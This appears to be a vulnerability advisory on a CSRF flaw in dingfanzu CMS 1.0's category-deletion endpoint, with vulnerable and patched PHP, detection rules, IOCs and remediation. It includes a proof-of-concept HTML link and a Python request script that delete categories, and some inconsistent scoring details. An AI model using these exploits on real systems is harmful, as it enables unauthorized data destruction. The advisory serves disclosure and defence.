CVE-2024-46600

Executive Summary

CVE-2024-46600 identifies a Cross-Site Request Forgery (CSRF) vulnerability in dingfanzu CMS version 1.0. The flaw resides in the /admin/doAdminAction.php?act=delCate&id=31 endpoint, allowing an attacker to forge requests that delete categories without proper CSRF token validation. This can lead to unauthorized administrative actions, data loss, and potential privilege escalation if combined with other vulnerabilities. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as High severity due to the impact on data integrity and availability. No official patch has been released, and the vendor’s status remains unknown.

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby ecosystems. It is a standalone PHP-based CMS. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the CSRF.
• User Interaction (UI): Required (R) – Victim must be logged in as admin and click a crafted link.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality Impact (C): High (H) – Potential exposure of admin actions.
• Integrity Impact (I): High (H) – Unauthorized deletion of categories.
• Availability Impact (A): High (H) – Loss of category data.

Threat Level: High – Exploitation requires user interaction but can cause significant data loss.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the admin panel of dingfanzu CMS 1.0. The endpoint /admin/doAdminAction.php?act=delCate&id=31 performs category deletion without verifying a CSRF token. An attacker can craft a malicious HTML page or image tag that, when visited by an authenticated admin, triggers a GET request to delete a category. The lack of anti-CSRF mechanisms (e.g., tokens, SameSite cookies, or referrer checks) makes this exploitable.

Root Cause: The doAdminAction.php script does not implement any CSRF protection. The act=delCate action directly processes the id parameter without validating the request origin.

Attack Flow:

1. Attacker identifies a logged-in admin user.
2. Attacker crafts a malicious link or embeds an image tag pointing to: /admin/doAdminAction.php?act=delCate&id=31.
3. Admin clicks the link or visits the attacker’s page.
4. The request is sent with the admin’s session cookie, deleting category ID 31.

Vulnerable vs. Patched Code

Vulnerable Code (dingfanzu CMS 1.0):

// /admin/doAdminAction.php
if ($_GET['act'] == 'delCate') {
    $id = intval($_GET['id']);
    $sql = "DELETE FROM categories WHERE id = $id";
    mysqli_query($conn, $sql);
}

No CSRF token check is performed.

Patched Code (Hypothetical):

// /admin/doAdminAction.php
session_start();
if ($_GET['act'] == 'delCate') {
    if (!isset($_GET['csrf_token']) || $_GET['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF validation failed');
    }
    $id = intval($_GET['id']);
    $sql = "DELETE FROM categories WHERE id = $id";
    mysqli_query($conn, $sql);
}

The patch adds a CSRF token validation using session-based tokens.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof-of-Concept (PoC) HTML:

<!DOCTYPE html>
<html>
<body>
<h1>Click the link to delete category 31</h1>
<a href="http://target.com/admin/doAdminAction.php?act=delCate&id=31">Click here</a>
</body>
</html>

Automated Exploit (Python):

import requests

target = "http://target.com/admin/doAdminAction.php?act=delCate&id=31"
# Victim must be logged in; this script assumes session cookie is captured
cookies = {"PHPSESSID": "victim_session_id"}
response = requests.get(target, cookies=cookies)
print("Category deleted" if response.status_code == 200 else "Failed")

Lab Setup:

1. Install dingfanzu CMS 1.0 on a local server (e.g., XAMPP).
2. Log in as admin.
3. Host the PoC HTML on a separate domain.
4. As the admin, visit the PoC page and click the link.
5. Verify category ID 31 is deleted.

Blue Team (Detection & Defense)

Detection:

• Monitor for GET requests to /admin/doAdminAction.php?act=delCate with suspicious Referer headers.
• Alert on multiple rapid deletion requests from the same IP.

Defense:

• Implement CSRF tokens in all admin forms.
• Set SameSite=Strict or Lax on session cookies.
• Validate Referer header against allowed origins.
• Use POST instead of GET for destructive actions.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET request to /admin/doAdminAction.php?act=delCate&id=<number>
  • Unusual Referer header (e.g., from attacker-controlled domain)
• Logs:
  • Apache/Nginx access log entries with doAdminAction.php?act=delCate
  • PHP error logs showing unexpected category deletion
• File System:
  • Missing category data in database (if monitored)

Detection Engineering

YARA Rule

rule CVE_2024_46600_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts for CVE-2024-46600"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $exploit = "doAdminAction.php?act=delCate&id="
    condition:
        $exploit
}

Sigma Rule

title: CVE-2024-46600 CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests targeting the CSRF vulnerable endpoint
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: "doAdminAction.php?act=delCate&id="
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF token is present)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-46600 CSRF Exploit Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"doAdminAction.php?act=delCate&id=";
    http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint temporarily by commenting out the delCate action in doAdminAction.php.
2. Implement CSRF tokens using PHP sessions (see patched code example).
3. Change HTTP method from GET to POST for all destructive admin actions.
4. Set SameSite cookie attribute to Strict or Lax.

Long-Term Fix:

• Upgrade to a patched version if released by the vendor.
• Conduct a full security audit of the CMS.
• Use a Web Application Firewall (WAF) to block suspicious requests.

Workaround:

• Restrict access to /admin/ directory via .htaccess (IP whitelist or basic auth).

Valters IT